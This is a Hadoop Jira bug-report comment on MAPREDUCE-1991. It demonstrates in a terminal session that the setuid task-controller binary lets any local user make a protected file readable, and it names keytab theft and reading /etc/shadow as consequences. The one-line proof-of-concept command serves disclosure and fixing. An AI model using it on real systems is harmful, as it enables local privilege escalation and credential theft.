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https://issues.apache.org/jira/browse/MAPREDUCE-1991?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12894791#action_12894791
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Todd Lipcon commented on MAPREDUCE-1991:
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{noformat}
[t...@monster01 hadoop]$ cat /tmp/secretfile
cat: /tmp/secretfile: Permission denied
[t...@monster01 hadoop]$ ls -l /tmp/secretfile
-rw------- 1 philip todd 3 Aug 2 19:19 /tmp/secretfile
[t...@monster01 hadoop]$
./build/hadoop-0.20.2-CDH3b2-SNAPSHOT/bin/task-controller -l /tmp/secretfile
[t...@monster01 hadoop]$ ls -l /tmp/secretfile
-rwxrw-rw- 1 philip todd 190 Aug 2 19:19 /tmp/secretfile
[t...@monster01 hadoop]$ cat /tmp/secretfile
hi
Invalid configuration provided
mapreduce.tasktracker.group is not configured.
Group of the binary does not match with that in configuration
Invalid permissions on task-controller binary.
[t...@monster01 hadoop]$
{noformat}
This allows a malicious user to steal a local keytab, read /etc/shadow, corrupt
binaries by appending junk, etc.
> taskcontroller allows stealing permissions on any local file
> ------------------------------------------------------------
>
> Key: MAPREDUCE-1991
> URL: https://issues.apache.org/jira/browse/MAPREDUCE-1991
> Project: Hadoop Map/Reduce
> Issue Type: Bug
> Components: task-controller
> Affects Versions: 0.21.0, 0.22.0
> Reporter: Todd Lipcon
> Priority: Blocker
>
> The linux task-controller setuid binary allows a malicious user to chmod any
> file on the system to 644 (and as a side effect appends some junk to the end)
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